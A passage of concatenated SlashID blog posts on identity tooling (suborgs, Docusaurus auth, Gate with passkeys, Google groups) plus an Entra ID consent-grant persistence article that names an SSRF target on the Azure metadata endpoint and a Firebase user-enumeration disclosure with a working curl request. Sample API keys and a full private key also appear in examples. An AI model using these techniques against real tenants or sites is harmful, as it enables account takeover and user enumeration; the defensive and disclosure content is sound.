Step 3: Create roles for RBAC and assign them to users

Now you have some customers, you can create groups to more easily manage users, starting with employee and admin, using the SlashID groups API:

curl -X POST --location 'https://api.slashid.com/groups' \
--header 'SlashID-OrgID: 85637a0a-a574-326a-bac3-d1f46d62dbd9' \ // "Trackalot" org ID
--header 'SlashID-API-Key: /cgMbOUYjFGMUv4hIvKoMxhVIJ0=' \ // "Trackalot" API key
--header 'Content-Type: application/json' \
--data '{
    "name": "employee"
}'

curl -X POST --location 'https://api.slashid.com/groups' \
--header 'SlashID-OrgID: 85637a0a-a574-326a-bac3-d1f46d62dbd9' \ // "Trackalot" org ID
--header 'SlashID-API-Key: /cgMbOUYjFGMUv4hIvKoMxhVIJ0=' \ // "Trackalot" API key
--header 'Content-Type: application/json' \
--data '{
    "name": "admin"
}'

We used the organization ID for Trackalot to create the groups, and we see that listing the groups for the suborgs returns the expected result:

curl -X GET --location 'https://api.slashid.com/groups' \
--header 'SlashID-OrgID: d89e29fc-2693-d3b7-764c-debc9561eea2' \ // Dunder Mifflin Paper Company org ID
--header 'SlashID-API-Key: FkImXyWgZhuqTGTh70fXzuI1PMo=' // Dunder Mifflin Paper Company API key

{
    "result": [
        "employee",
        "admin"
    ]
}

The same API call with the Parks & Rec organization ID returns the same results, as expected - they share a group pool, so the groups are shared.

curl -X GET --location 'https://api.slashid.com/groups' \
--header 'SlashID-OrgID: 97724371-a0a1-4b93-bf51-6ba2feb1acdf' \ // Parks & Rec Dept org ID
--header 'SlashID-API-Key: wY7gDtUDjxGMdynd6BKaaLojHFE=' // Parks & Rec Dept API key

{
    "result": [
        "employee",
        "admin"
    ]
}

It is outside the scope of this blogpost but with SlashID suborg you have the freedom to not share users or groups pools. See our documentation for a few examples of how to do that.

Step 4: Sharing users

Lastly, if Trackalot takes off and you want to allow end users to be part of multiple organizations, you can also do that easily through our person pools.

By default, suborgs have their own dedicated pool of users, but they can also share users through person pools. This means that if the same person works for both Parks & Recs and Dunder Mifflin, they will have a consistent unique identifier in all suborgs sharing that person pool as long as they use the same handles (email addresses or phone numbers) to register.

You can read more about person pools in our guide.

But it doesn't end there, thanks to our buckets you are also able to share attributes across users and organizations.

Conclusion

In this blogpost we’ve shown how you can use SlashID suborgs to implement complex user structures flexibly and securely, without wasting months of dev time on it and without risking a breach.

Look out for future guides and blog posts, where we will deep dive into more case studies to explore DataVault, attribute-based access control (ABAC), and role-based access control (RBAC).

Have questions or want to find out more? Check out our documentation or reach out to us.

Ready to get started with SlashID? Sign up here!

Adding Identity to Docusaurus

Ivan Kovic, Vincenzo Iozzo — Sat, 12 Nov 2022 00:00:00 GMT

Interested in implementing access control for Docusaurus? Check out our integration guide here.

What is Docusaurus?

Developed by Meta, Docusaurus is a fully customizable, static site generator primarily used to publish documentation. It is built using React and was first released publicly in 2017.

At SlashID, we love Docusaurus and use it for our developer portal.

You can find docusaurus-slashid-login on GitHub.

Adding Identity to Docusaurus

Like most developer-focused companies, we expose part of the functionality of our backend services through our REST APIs.

To interact with our API, you must add two fields to the API request headers: an API Key and a SlashID Organization ID.

Our goal was to improve the Developer Experience and get rid of the repetitive step of filling in the SlashID-OrgID and the API key when our customers use our developer portal.

To solve this problem we decided to add an identity layer to Docusaurus and use our Data Vault attribute storage module to autofill API keys and REST API parameters for our customers.

Today we are releasing the SlashID theme which adds authentication support to OpenAPI together with a fork of the Docusaurus OpenAPI plugin that reads user data and autofills parameters or headers that match any of the user attributes.

While our use case is niche, you can also use the theme for other use cases - for instance, to serve internal documentation without exposing it publicly to the internet.

The developer experience

A developer can log into our portal either through one of the supported passwordless methods or through a DirectID invite link so they don’t have to authenticate at all.

You can try it yourself on our developer portal, please ask us for an API key!

Internals and Security

To add support for login we swizzled the Root component of Docusaurus. Docusaurus renders the Root component on the top of the React component tree making it the perfect candidate as a container for authentication state. When authentication is set to mandatory, our theme checks whether a user is authenticated before displaying the rest of the React tree.

Our fork of the docusaurus-openapi-docs theme will look for attributes names stored in the persistentParamNames config of docusaurus and if those attributes are parameters or headers in the REST API it the theme will autofill them with the user attributes stored in Data Vault.

While we do not recommend storing production API keys without adequate access control, our Data Vault module encrypts user data and attributes with a per-user, per-attribute key whose root of trust is derived from an HSM making the storage of any information in our database a safe choice.

Putting it all together

Using the docusaurus-slashid-login with docusaurus-openapi-docs is a simple five steps process:

Add the theme to your docusaurus project yarn add docusaurus-theme-openapi-docs-slashid docusaurus-theme-slashid docusaurus-plugin-openapi-docs-slashid
Configure the openapi plugin as described in the README of the docusaurus-openapi-docs repository

Add a theme property to the config object in docusaurus.config.js:

themes: [
    "@slashid/docusaurus-theme-openapi-docs-slashid",
    "@slashid/docusaurus-theme-slashid",
],

Add a property to the themeConfig object in docusaurus.config.js:
```
slashID: {
  orgID: YOUR_SLASHID_ORGANIZATION_ID
}
```
Add a property to the config in docusaurus.config.js with the list of Data Vault attributes you'd want to prefill in docusaurus:
```
customFields: {
    persistentParamNames: ['SlashID-OrgID']
},
```

That’s it.

Contributing and Feedback

We’d love to hear any feedback you might have on the project! While support for the theme is best-effort, we actively maintain it for our developer portal so we’d love to see it grow.

To get started, sign up for a free SlashID account and then follow the steps outlined in the documentation.

Illicit Consent-Granting & App Backdooring – Obtaining persistence in Entra

SlashID Team, Vincenzo Iozzo — Sun, 31 Aug 2025 00:00:00 GMT

Summary

Imagine a stealthy intruder slipping into your Azure Active Directory and quietly handing themselves the keys to the kingdom. That’s exactly what happens when attackers automate the injection of high-privilege OAuth consent grants into Entra ID (formerly Azure AD), backdoor existing applications, and then take full control of your entire tenant—all without a single click from an administrator.

How they do it: Using a blend of Microsoft Graph API calls (targeting endpoints like /oauth2PermissionGrants and /applications/{id}), the Azure CLI, and custom scripts, these adversaries elevate their privileges programmatically and make their foothold permanent.

This technique allows an attacker to:

Read and write virtually all directory data
Spin up brand-new service principals under your radar
Steal sensitive information at will
And slip past normal revocation processes, keeping their backdoor open

What you’ll find in this blogpost:

A clear attack flow diagram showing each step of the compromise
In-depth technical breakdowns and real-world code snippets (HTTP requests, CLI commands, Python scripts)
MITRE ATT&CK mappings to help you fit this campaign into your existing threat model
Practical detection strategies and hardening steps to lock down your tenant before it’s too late

You’ll see exactly how the attack works — and how to stop it.

Attack Flow

Key lesson: Don’t let just anyone approve new applications or grant permissions.

Lock down consent so only a handful of trusted admins can do it, turn on Privileged Identity Management (PIM) for consent-related roles, and keep a close eye on every call to /oauth2PermissionGrants and every update to your app configurations.

MITRE ATT&CK Mapping

T1566 – Phishing for initial access
T1078.004 – Hijacking valid cloud accounts
T1550.003 – Misusing OAuth tokens to stay under the radar
T1134.003 – Manipulating access tokens for unauthorized privilege
T1598.005 – Abusing app access-token mechanics to elevate control

Attack Lifecycle

Phase 1: Getting In

Tricking Users into Consent: phishing email or OAuth pharming to grant rogue applications minimal but dangerous scopes like OAuth2PermissionGrant.ReadWrite.All. Both of those scopes are enough to hand the attacker a token capable of rewriting consent grants or assigning new roles behind your back.
Stealing Managed Identity Tokens via SSRF: If they’ve already compromised a server in your cloud, they can trigger a server-side request forgery against the Azure Instance Metadata Service (http://169.254.169.254/metadata/identity/oauth2/token). By coaxing that endpoint into revealing its managed identity token, the attacker gains powerful credentials without ever needing a password or an interactive grant.

Phase 2: Consent Injection

Now that the attacker holds a valid OAuth token, they quietly push a “blanket” consent grant across your entire tenant for their malicious application.

By leveraging OAuth token manipulation (T1550.003) and access-token tricks (T1134.003), they assign delegated permissions that let the rogue app act on behalf of any user—without a single additional approval prompt.

This tenant-wide AllPrincipals consent effectively makes every user implicitly trust the attacker’s backdoor.

What “AllPrincipals” really does

Imagine telling Azure, “I trust this application on behalf of everyone in our organization”—that’s exactly what an AllPrincipals consent grant accomplishes.

Instead of prompting each user or admin to approve permissions one by one, the malicious app gains delegated access across your entire tenant in one fell swoop.

What the attacker needs

Of course, they can’t just do this out of thin air.

The caller (the compromised identity or service principal) must already possess the ability to create or modify consent grants—typically the OAuth2PermissionGrant.ReadWrite.All permission or a custom role with equivalent rights.

In other words, they need full write access to your consent settings before they can inject that tenant-wide backdoor.

Phase 3: Privilege Escalation (T1598.005 ∙ T1134.001)

Tamper the application manifest to add app-only permissions like Directory.ReadWrite.All and grant them. The malicious app now acts as a service principal.

What’s happening here

Manifest tweak: The first command injects a new entry under requiredResourceAccess in the app’s manifest, asking Azure for the Directory.ReadWrite.All app-only permission.
Permission grant: The second command gives that permission its “green light,” so the app can immediately request a client-credentials token with those rights.

With those two steps completed, the malicious application can now call the Graph API as itself—no user token needed—and wield full control over directory data, role assignments, service principals, and more. That’s the final leap from “sneaky user-level backdoor” to “unstoppable service principal attacker.”

Phase 4: Persistence & Evasion

Once the rogue app can act on its own, the attacker ensures it never loses access by adding—or regularly rotating—a long-lived client secret:

What’s happening here

Defining a perpetual secret The payload creates a passwordCredential named PersistSecret with an end date set to the year 2299—practically forever.
Graph API injection By POSTing to /applications/{app_id}/addPassword with their elevated token, the attacker plants this long-lived secret directly into the app’s configuration.
Permanent foothold Even if you revoke existing credentials or block the original service principal, this new secret remains valid—giving the malicious app permanent login capability.
Evasion & rotation They can rerun this script periodically (T1550.003) or swap out secrets on the fly (T1134.003), staying one step ahead of your revocation and monitoring efforts.

With this final move, the attacker cements an almost unassailable backdoor—complete with stealthy persistence and continuous access.

Phase 5: The Fallout

At this point, the attacker isn’t just hiding in the shadows—they’re reshaping your tenant to suit their goals, with consequences that reach every corner of your directory.

Tenant-wide data exfiltration With permissions like User.Read.All, Group.Read.All, and even Directory.ReadWrite.All, the malicious app can quietly harvest virtually every piece of user and group information you’ve stored. Think contact lists, membership rosters, organizational charts—any data that helps them map your environment or impersonate insiders.
Shadow administration By creating or tweaking service principals, spinning up rogue user accounts, or altering your conditional access policies, the attacker effectively builds their own hidden admin team inside your tenant. These “ghost” admins can maintain the compromise, pivot to new targets, or cover the tracks of more destructive actions.
Long-term persistence Because the app lives on as a fully “trusted” enterprise application—with all the hallmarks of a legitimate service—it’s unlikely to raise red flags. Even routine audits or credential rotations may overlook it, giving the attacker a durable backdoor that survives user turnover, password resets, and policy changes.

Taken together, these impacts turn a stealthy breach into a strategic stronghold—one that can siphon your data, manipulate your policies, and stay active for months or even years before detection.

Spotting the Intruder

Detection strategies include:

Audit Log Alerts

Watch for Add servicePrincipalOAuth2PermissionGrant events—this is when new tenant-wide consents appear.
Flag any Update application operations, especially on manifests or permission sets.
Catch Add passwordCredential calls, which signal that a new client secret has been planted.

Hunt for “AllPrincipals”

Scan Graph audit records for consentType: AllPrincipals. That blanket consent is your smoking gun.

Unusual Graph API Activity

Correlate high-privilege Graph calls (like modifying apps or grants) with identities that don’t normally handle admin tasks.

Prevention

Mitigation best practices:

Limit OAuth Consent In Azure AD → Enterprise Applications → Consent and Permissions, restrict consent approval to a small, trusted admin group.
Turn on PIM for Consent Roles Require Privileged Identity Management (PIM) approval for roles like Application.ReadWrite.OwnedBy and OAuth2PermissionGrant.ReadWrite.All.
Just-In-Time Approvals Enforce JIT workflows on every high-impact role assignment so no one holds standing power indefinitely.
Automated Audits Schedule Graph-based audits for manifests and /oauth2PermissionGrants - catch changes before they become permanent backdoors.

By pairing vigilant monitoring with strict, time-bound controls, you’ll turn what was once an easy stealth attack into a high-risk, highly visible operation—one attackers are far less likely to attempt.

Conclusion

Illicit consent-granting and Entra app backdooring are among the most dangerous persistence techniques in the Azure identity threat landscape. By understanding the tactics—consent injection, manifest tampering, long-lived secrets—you can tighten controls and improve detection before adversaries exploit them.

Identity is the new perimeter. Secure your consent flows before attackers do.

Firebase Authentication and Google Identity Platform User Enumeration Vulnerability

SlashID Team, Vincenzo Iozzo — Mon, 27 Nov 2023 00:00:00 GMT

Update(12/12/2023): The Google security team reached out to say that they released an option to disable email enumeration on September 15th 2023 - more information here. We recommend enabling this option if you are using Google Identity Platform.

Introduction

Firebase Authentication and its enterprise version, Google Identity Platform, are very popular solutions for adding identity to an application.

During the course of a migration for a customer, we identified an issue in both platforms that can lead to the enumeration of users registered on an application.

We contacted Google on September 7th 2023 through their vulnerability disclosure program, and we received an answer on October 31st from their Trust and Safety team telling us that the issue won't be fixed, as it is behavior outlined in their privacy policy. In particular, they stated that if an attacker has knowledge of the email address of a user, the intended behavior is for the attacker to be able to see information about that user.

We disagree with Google's approach, as this kind of issue reduces user privacy and can lead to several downstream attacks. Further, several CVEs have been assigned to issues like this, and OWASP has a specific test for it in their Web Security Testing Guide, WSTG-IDNT-04.

The issue is under embargo but can be found here.

The details

Firebase Auth and Google Identity Platform have an API endpoint that allows you to check whether a user is registered or not.

The issue stems from the fact that you can use the API to enumerate accounts on a tenant. The API requires an API key to be used but, in practice, the API key is a misnomer for an identifier and it is not meant to be a secret. The API can be invoked directly from the frontend so anybody can read it from the website and reuse it. Furthermore, Google does not enforce CORS, and the documentation does not clearly describe how the endpoint is supposed to be used, so we believe the behavior to be intentional.

Reproducing this is straightforward:

Visit a website that uses Firebase Authentication or Google Identity Platform
Find an invokation of accounts:createAuthUri or any other Identity Platform API that requires an API Key
Invoke the API, as shown below

curl 'https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=<API_KEY>' --compressed -X POST -H 'Content-Type: application/json' -H 'Origin: https://<DOMAIN>' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw '{"continueUri":"<DOMAIN>","identifier":"<EMAIL>"}'
{
  "kind": "identitytoolkit#CreateAuthUriResponse",
  "allProviders": [
    "password"
  ],
  "registered": true,
  "sessionId": "8fyGaPacaiHJPVVwPu32Alyxs-k",
  "signinMethods": [
    "password"
  ]
}

Severity

From our brief investigation it is not possible to find any other information about the user beyond what we show in the example above. Ultimately, whether this issue warrants attention depends on several factors, including:

What jurisdiction your users fall into and which data protection laws apply
The kind of application and how sensitive is the knowledge that a given user exists on it (for example, healthcare applications may deem this sensitive)

Protecting against the issue

As discussed, Google will not fix this behavior, as it is intended according to their Privacy Policy. If you would like to avoid this issue the only recommendation at this time is to avoid using API keys in any frontend calls to Firebase/Google Identity Platform.

Conclusion

If you are interested in migrating from Firebase Authentication/Google Identity Platform to SlashID, you can get a free account here or reach out to us!

Docusaurus - Authentication and authorization with SlashID

Ivan Kovic, Vincenzo Iozzo — Mon, 28 Aug 2023 00:00:00 GMT

Interested in implementing access control for Docusaurus? Check out our integration guide here.

A few months ago, we wrote about adding identity to Docusaurus using the SlashID Docusaurus theme. Today, we are proud to announce the new version of the theme, featuring more granular control, such as page- and path-based access control. Keep reading to find out how, or skip straight to the documentation!

Page-level access control

The most fine-grained way of controlling access to your pages is by defining the access rules in the front matter of a given page. Here’s an example config:

sidebar_custom_props:
  slashid:
    auth: true
    groups:
      - member

When defining access rules for a particular page, it's crucial to ensure that the page does not appear in the sidebar navigation if the current user should not have access. Docusaurus exposes the sidebar_custom_props front matter field, which we used to centralize page-level configuration.

By specifying auth: true, you will hide the page and the related sidebar item from the UI to unauthenticated users. To further refine access control rules, you can also specify a list of groups the user needs to be a member of.

Check the page level access control configuration in our demo app.

Path-based access control

Along with the page level access control, you can control access to an entire set of pages using the path-based configuration. A single configuration entry consisting of a glob or a RegExp can restrict access to all the pages matching the given pattern. This is specified in docusaurus.config.js by adding a new field to your existing slashID configuration:

      slashID: {
        orgID: "your slash id org id",
        // …other configuration entries
        privatePaths: [
          {
            path: "a glob or a regex specifying the path to protect",
            groups: ["optional list of groups that can access the path"],
          }
        ],
      },

You can specify multiple paths, each of them defined using a glob pattern or a RegExp. groups are optional, and they work as described in the previous section: the authenticated user must belong to all the specified groups in order to access the page.

The demo app contains an example of path-based access control.

Alternative approach

Docusaurus is a static site generator so your website will most probably be deployed on a CDN. With the above setup, access control is performed client side, meaning that the browser has to download the assets with the content, parse and execute them before determining if the page should be accessible to the current user. In other words, access control is only performed after downloading the assets. As a result, you are not protected against users deliberately downloading the files from the CDN and inspecting them for content.

If your hosting provider supports edge functions (i.e functions that run at the edge of the network before serving files from the CDN) there is a way around the above problem – look out for our next blog post that explains exactly how to do that!

Contributing and Feedback

We’d love to hear any feedback you may have on the project! While support for the theme is best-effort, we actively maintain it for our developer portal so we’d love to see it grow. To get started, sign up for a free SlashID account and then follow the steps outlined in the documentation.

If you have any questions, please reach out to us directly or open an issue on GitHub.

No-code anti-phishing protection of internal apps with Passkeys

Vincenzo Iozzo, SlashID Team — Mon, 18 Sep 2023 00:00:00 GMT

Introduction

Phishing is among the most common causes of data breaches. Attackers often trick users into inputing their credentials into websites that look legitimate to the human-eye but are actually setup by the attacker to steal credentials.

While MFA is an effective tool to reduce this kind of attacks, it is unfortunately insufficient. Multiple campaigns in the past have shown how attackers can get around MFA through various techniques.

WebAuthn/Passkeys provide strong protection against phishing attacks. In fact, all compliant browsers enforce a number of security checks that render phishing unfeasible in the majority of scenarioes.

Enforcing access to apps through Passkeys is not always possible as the company might not have access to the source code or might not have the resources to dedicate to the project. Gate is an effective way to easily enforce complex authentication and authorization policies out-of-the-box on web applications without any code changes.

Read on to see an example on how to add fine-grained access control and Passkeys auth to an arbitrary application in 10 minutes or less.

WebAuthn and phishing

WebAuthn/Passkeys are public-private keypairs where only the public key is transmitted to the server, making credential stealing unfeasible unless an attacker compromises a user machine.

Further, the WebAuthn spec and implementations in the browsers have been designed to be phishing-resistant and several checks are in place for an authentication ceremony to happen.

First of all, WebAuthn doesn’t work without TLS. Furthermore, browsers enforce origin checks and most will prevent access to the platform authenticator unless the window is in focus or, in the case of Safari, the user triggers an action.

In either scenario, a successful attack still won't give the attacker access to the private key itself, but only to a session token/cookie which will expire once the browsing session is over.

Most importantly, due to the origin checks, most of the recent attacks involving domain squatting and phishing would fall flat because the reverse proxy wouldn’t be able to initiate the WebAuthn authentication process.

In comparison to all other authentication methods — where an attacker only has to register a seemingly related domain and have a similar looking webpage to fool the victim through phishing — it is clear that WebAuthn is a vastly superior authentication method.

The internal app: YouTrack

For this example we are going to assume that we have a self-hosted deployment of YouTrack, the popular issue tracker software. For simplicity, we'll use docker compose for the deployment but Gate supports several deployment topologies.

version: '3.3'

services:
  youtrack:
    image: jetbrains/youtrack@sha256:<hash>
    container_name: 'youtrack'
    volumes:
      - /mnt/disks/youtrack-data/youtrack/data:/opt/youtrack/data
      - /mnt/disks/youtrack-data/youtrack/conf:/opt/youtrack/conf
      - /mnt/disks/youtrack-data/youtrack/logs:/opt/youtrack/logs
      - /mnt/disks/youtrack-data/youtrack/backups:/opt/youtrack/backups
    expose:
      - '8080'

Deploying Gate

We are going to deploy Gate in front of the application such that Gate can intercept unauthenticated requests and prompt the user to login. Visually, it looks as follows:

What the Authentication Proxy plugin does is to intercept HTTP requests and if no valid authentication token is found, Gate injects a login page in front of the application. The user logs in with one of the allowed login methods and is then redirected to the original app (in this case YouTrack).

Once the user has authenticated the first time, future requests are passed to YouTrack transparently.

Here's what the docker compose looks like:

version: '3.3'

services:
  youtrack:
    image: jetbrains/youtrack@<hash>
    container_name: 'youtrack'
    volumes:
      - /mnt/disks/youtrack-data/youtrack/data:/opt/youtrack/data
      - /mnt/disks/youtrack-data/youtrack/conf:/opt/youtrack/conf
      - /mnt/disks/youtrack-data/youtrack/logs:/opt/youtrack/logs
      - /mnt/disks/youtrack-data/youtrack/backups:/opt/youtrack/backups
    expose:
      - '8080'

  gate:
    container_name: gate
    image: slashid/gate:latest
    command: ['-env']
    hostname: gate
    restart: unless-stopped
    environment:
      - GATE_PORT=80
      - GATE_DEFAULT_TARGET=http://youtrack:8080
      - GATE_LOG_FORMAT=text
      - GATE_LOG_LEVEL=info
      - GATE_HEADERS_FORWARDED_SET_OUTBOUND_X_FORWARDED=true
      - GATE_HEADERS_FORWARDED_PRESERVE_INBOUND_X_FORWARDED=true
      - GATE_PLUGINS_1_TYPE=authentication-proxy
      - GATE_PLUGINS_1_ENABLED=true
      - GATE_PLUGINS_1_PARAMETERS_LOGIN_PAGE_HEADING=Welcome to YouTrack
      - GATE_PLUGINS_1_PARAMETERS_STORE_LAST_HANDLE=true
    env_file:
      - .secret.env
    ports:
      - '80:80'
    depends_on:
      - youtrack

Customizing the login page

The authentication proxy plugin supports a number of customization, as shown in the documentation.

In particular, it is possible to specify the valid authentication methods supported:

login_page_factors:
  - method: 'webauthn'
    options:
      <Factor option>: '<Factor option value>'
  - method: 'oidc'
    options:
      <Another factor option>: '<Another factor option value>'

Creating complex authorization policies

The authentication proxy plugin also allows to out-of-the-box restrict access to users belonging to specific groups. For example, we could restrict access to users belonging to the developers group.

required_groups: ['developers']

But sometimes it might be necessary to enforce more complex policies. For instance, we might want to restrict access to users that belong to certain google groups. To do so, we can combine the OPA plugin with the Authentication Proxy plugin. Let's see how:

...
    - id: authz_admin_oidc
      type: opa
      enabled: true
      parameters:
        <<: *slashid_config
        policy_decision_path: /authz/allow
        policy: |
          package authz

          import future.keywords.if
          default allow := false

          allow if claims.oidc_tokens[0].oidc_groups[_] == "developers@example.com"

          parseCookies(cookies) = cookie {
              parsed = split(cookies, ";")

              cookie = { k: v |
              	  raw = parsed[_]

                  pair = split(raw, "=")
                  k = trim(pair[0], " ")
                  v = trim(substring(raw, count(sprintf("%s=", [pair[0]])), count(raw)), " ")
              }
          }

          cookies := c if {
              v := input.request.http.headers.Cookie[0]
              c := parseCookies(v)
          }

          claims := payload if {
              [_, payload, _] := io.jwt.decode(bearer_token)
          }

          bearer_token := t if {
              t := cookies["SID-AuthnProxy-Token"]
          }

    - id: auth_proxy
      type: authentication-proxy
      enabled: true
      parameters:
        <<: *slashid_config
        login_page_heading: "Hello!"
        jwt_expected_issuer: https://api.slashid.com
        jwks_url: https://api.slashid.com/.well-known/jwks.json

        login_page_factors:
          - method: "oidc"
            options:
              client_id: "<google client id>"
              provider: "google"
  urls:
    - pattern: "*"
      target: http://youtrack:8000
      plugins:
        auth_proxy:
          enabled: true
        authz_admin_oidc:
          enabled: true
...

Let's break it down, the authentication proxy configuration specifies oidc as the only valid authentication method. You can read more here on how to configure SlashID to retrieve Google groups as part of the authentication process with OIDC.

Note: you could do the same with AzureAD. Read here to learn more.

The authz_admin_oidc instance of the OPA plugin enforces the check on the presence of Google groups as follows:

Parse the cookies in the headers
Extract the bearer token from the SID-AuthnProxy-Token header
Check if the oidc_groups array in the token contains the developers@example.com group

We could, of course, further restrict the policy to, for instance, specific IP addresses or user agents. The Gate OPA plugin provides a rich input object to the policy with significant information on the incoming request.

Seeing it in action

Conclusion

In this post, we've shown how we can easily add Passkeys and fine-grained authorization policies to an arbitrary web application in less than 10 minutes without modifying its source code.

We’d love to hear any feedback you may have! Try out Gate with a free account. If you'd like to use the PII detection plugin, please contact us at contact@slashid.dev.

Fetching Google Groups with SlashID SSO

Vincenzo Iozzo, SlashID Team — Mon, 16 Jan 2023 00:00:00 GMT

Introduction

Using IdP groups to make authorization decisions is very common among organizations. For example, Figma wrote a custom application gateway to protect internal web applications using the IdP groups to drive RBAC.

Whether you are using Gate to make authorization decisions and protect applications, or adopting a different approach, SlashID allows you to retrieve Google Groups for a given user when the user authenticates.

Google doesn’t provide a way to retrieve a user group when a user authenticates via SSO. To overcome this, we use the Google Admin SDK to retrieve the groups the user belongs to. When the user authenticates through SSO with SlashID, the user token will include a structure similar to the following where the oidc_groups are contained:


google: {
  "access_token": "xIh3qoOXAFTaiOma2ZS6eCgP7rJF6iNDzleux+t69h8XktpsbHDKpiuwH2SwDO5/pSfwwn1+GeYZjxYxGbcJHAfiTztUfz3XqiejND4NasfuCGs550d0YSruxuC5yeKN9GUBbap1t/El7db23GlzjdJodp85ZFJsYsF9NTvP7ws4LkaX64s4VvlVWVT4fxOctFjO3oE1iR/oOBD1QCawvPdrLomQYFcXzN0R1UY9mIlDtUvsXh9cT+gAT9vXdjZ+Q9hR/b2QVR/l241AzmZ4VeIbVPQ=",
  "client_id": "32189023109-4332109.apps.googleusercontent.com",
  "expires_at": 1673092551,
  "id_token": "lVddu2HJAGO/VEnyh30vEeYTH169x2r+/X2/kImNUNeyt6lpDJaJMF7TwSDwmTdAf4Sxs6Ul5eTCrIfHk73F8Ec7WUa/bjekZoj7Ee/xPYNmZpjGuTNpcQCwl+MfEbdd
zXPPFoCdZF+CcZxldSOwzLUDYcLgXZ8fpBMg2erIMtqaH5e682GwY7iJD4ySUeTj3JftxQYBYizUUPfueNkbgsh+bC1bUtzMHDjVU53kZFvygjYydThtw8gl7Kw5G3NW
6f9Ch/D/9WnFbyb/Q3eibJeIKnMNrow003l70DefZzRLM2/6mkEd/VEMuGo9ejW2An2zf/vVQSKyxXP6ySNSkU/nrTtkGFS0s/ENsCB6taj12i57JOtzgDiigJayXB8N
KKgWtJmT/ESgLxsH54Mg3AYK91wo53jmfo9ZLPn88muczG96GfAzUMAOM5Drl/MKyPP+WZ+zwJ1gnoRqnxIUrv+WDwkwbbvA2vjkW8Op+gXVkactQCQVQ26GBGDPh7MtbTUSsW6LKb8/3oEMBuSIZQ==",
  "oidc_groups": [
    "test-group@slashid.dev",
    "sso-guide@slashid.dev",
  ],
  "provider": "google",
  "refresh_token": ""
}

Configuring SlashID to retrieve Google groups is a simple four step process:

Configure the Google credentials
Register the credentials with SlashID
Add the credentials to your SlashID organization’s OIDC configuration
Pass requires_groups to the authentication calls

Configuring SlashID to retrieve groups

To retrieve Google groups, we need to create a service account with the https://www.googleapis.com/auth/admin.directory.group.readonly scope. Our developer guide has step by step instructions on how to configure your Google organization.

Once the account is created and you obtain the JSON credentials from GCP, we are ready to configure SlashID to use them. The first step is to add a super_user field to the end of the JSON object with the email address of a super-admin for the Google account. For example:

{
  "type": "service_account",
  "project_id": "your-project-id",
  "private_key_id": "8167c485286f057e06e4a9d17e99ab4913627dbd",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCiaBGNydTgs0WV\numdNqzt5FlqigilYVk4J2oQqimg6Cnf8Q27ChShgDzUfwMbImm65MRFWD8UbiVGs\nZ9Q36bK53HKPgi07sZtdxuuwx2/CZ24l1q1N3Dpv5pfYzm2Z24pJbzWIF1pvDnmp\nZLA0iEXCnvOUIZ2tZ1sYmC7KH1MAbip7LNa6pJ/3fA1dRW7NWvporqFZCaGNsGwM\n0vNtS6dEwayhh8IFh2tCSARXOP62ji3BppTUItqBoh3mqP5L7iTv9iXTKTcTXb9E\nm5U1Espzc//UbElWashstYksTZYa6yrD7p2Zns2T4xRASL7j33dT5uHzIkvfeRdu\nyPj09W9TAgMBAAECggEASBj3IgDl1lL/oza7QYmwv1KjLd2mySaXQlyVq+UB3DJl\njcHJ2+UNRYe6x7vnA4s7eE9GKPSbRlwxu93kImZHB6fL29WoiwWPuZPjcfk3rhAI\noBernBMWhjLSWldZ5KHHxE3wb9geN4svi3m9l7Sfc4TpEWvS+fYWRNbafrRlPpz0\nQoFDSQy9FqxB7tGhs7insl+N16C8eQyjaysQt/xvk7pUQO6tYpVU1RVKIZlzjesU\nvOx2NfZSktILhB4teFYRQbGU0trPDfXOfj/NEQ1TUrL0gARHjYjalyrPgk2DNzXH\nCEx6ImQEKHLiJ9YeOGWvCkMBOb66kstlSwm6PxDf4QKBgQDXbvFKFmco970Yqg79\nuwJkOA29Wtqz+J9RnQd9WGL2wbFk/NCpqDnmbNM7UQm6nS9fhNkNG2BbBbW1gaYG\n+5sQ6X69ctxSVvfBqeFwwSdDqz6VReyGeQO7pNT51Ze4cW7O3BIKEoxicAgrw5uR\nAIUvHKs+UYtipAt0Y/I5GMdbSQKBgQDA/PGsnVdnPHuaPHbdJcDuXXmglOf9Nhj3\nK/eiMOE7UxeHy4vNDQyNPfhtGe7zyWqbshV2Gi2l9gyOfjt+sRDFpTG27i4Cc9Du\nNJ7EBnBIkoyswJOUmdt6YbmuAKEELZGQB9v94hIPzTpa51qbuyjNFQWVDaj2xPC5\nfmWVCW65uwKBgQDCb0ns0Q1oJzgOo6WGERuWchTMesx6tACuuygAVB51kNlXSOnW\nxZMESeHXXkuGlskjz5XKQ5QScrPOTmYXVUxd1i9iMuFwmzdfHcDvcBTM+Sgxt3tC\n3sOkvp7NoZ4ehJo6rtrFJnp3eZ+WSCQGmc6ad6iCRTyk2WPRN0dtitSaqQKBgENi\nTnQqABGw4auJ/yraetH/228BbztPf0oWlQGRtaMEMUwd+zNeogpTIAHgMzn2Ev5I\nIQw6ucOf9ORwGQ/0fVm1g3VPFsuOat4xi1oAsYX1fZ74Is+ZJTRHGREzcQVHb/Lt\ne5fbLtlLnFuPOmjz4ZwyAd/4hA2d2Du8cXWndHzvAoGBAJyuL43KBer234fD9Giu\nw+1/PR26rSO0rdKLihE2zRn4l/Kv+/UTZxGSLqpNZpGYnxJ0hAJ7J6N5yFFWZwBp\nvPB5yHmzkMVEYjWgNPzt4WjR3AroYJVzykNEPjdKcBCAM9GA+46W5KbBXbfWavE+\namtNmCJjuaiHJJjydyrTSUVB\n-----END PRIVATE KEY-----\n",
  "client_email": "groups-retrieval-guide@your-project-id.iam.gserviceaccount.com",
  "client_id": "104092906165806390865",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/groups-retrieval-guide%40your-project-id.iam.gserviceaccount.com",
  "super_user": "user@slashid.dev"
}

With that done, we can add the credentials to SlashID through our external credentials API as shown below.

curl -L -X POST 'https://api.sandbox.slashid.com/organizations/config/external-credentials' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <YOUR ORG ID>' \
-H 'SlashID-API-Key: <YOUR API KEY>' \
--data-raw '{
  "extcred_provider": "google",
  "extcred_type": "json_credentials",
  "extcred_label": "group retrieval credential"
  "json_blob": {
